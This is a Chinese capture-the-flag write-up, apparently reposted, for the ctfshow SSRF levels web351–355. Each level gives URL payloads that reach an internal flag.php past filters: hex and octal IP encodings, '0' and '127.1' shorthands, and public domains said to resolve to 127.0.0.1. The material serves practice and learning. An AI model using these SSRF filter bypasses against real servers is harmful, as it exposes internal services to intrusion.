ctfshow web入门 ssrf web351-355

news2024/11/16 9:33:45

1.web351

在这里插入图片描述
尝试访问本机的flag.php

payload:

url=http://localhost/flag.php
url=http://127.0.0.1/flag.php

2.web352

在这里插入图片描述
必须要用http或https，ip没有过滤因为匹配时没加变量，恒为真
payload:

url=http://127.0.0.1/flag.php
url=http://localhost/flag.php

3.web352

在这里插入图片描述
必须要用http或https,过滤了127.0.，只要匹配到了127.0.就不能继续执行了
windows 0代表0.0.0.0
linux 0代表 127.0.0.1
可以用0代替127.0.0.1
payload:

url=http://0/flag.php                #特殊0绕过
url=http://0.0.0.0/flag.php     #特殊0绕过
url=url=http://0x7F000001/flag.php   #进制绕过
http://0177.0.0.1/flag.php                   #进制绕过
http://127.1/flag.php                 #简写绕过

4.web354

在这里插入图片描述
过滤了0和1，可以把域名解析到127.0.0.1
http://safe.taobao.com/
http://114.taobao.com/
http://wifi.aliyun.com/
http://imis.qq.com/
http://localhost.sec.qq.com/
http://ecd.tencent.com/
http://sudo.cc/

url=http://sudo.cc/flag.php

5.web355

在这里插入图片描述
对ip长度做了限制
payload:

url=http://0/flag.php
url=http://127.1/flag.php

参考文章：
ssrf

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/509869.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！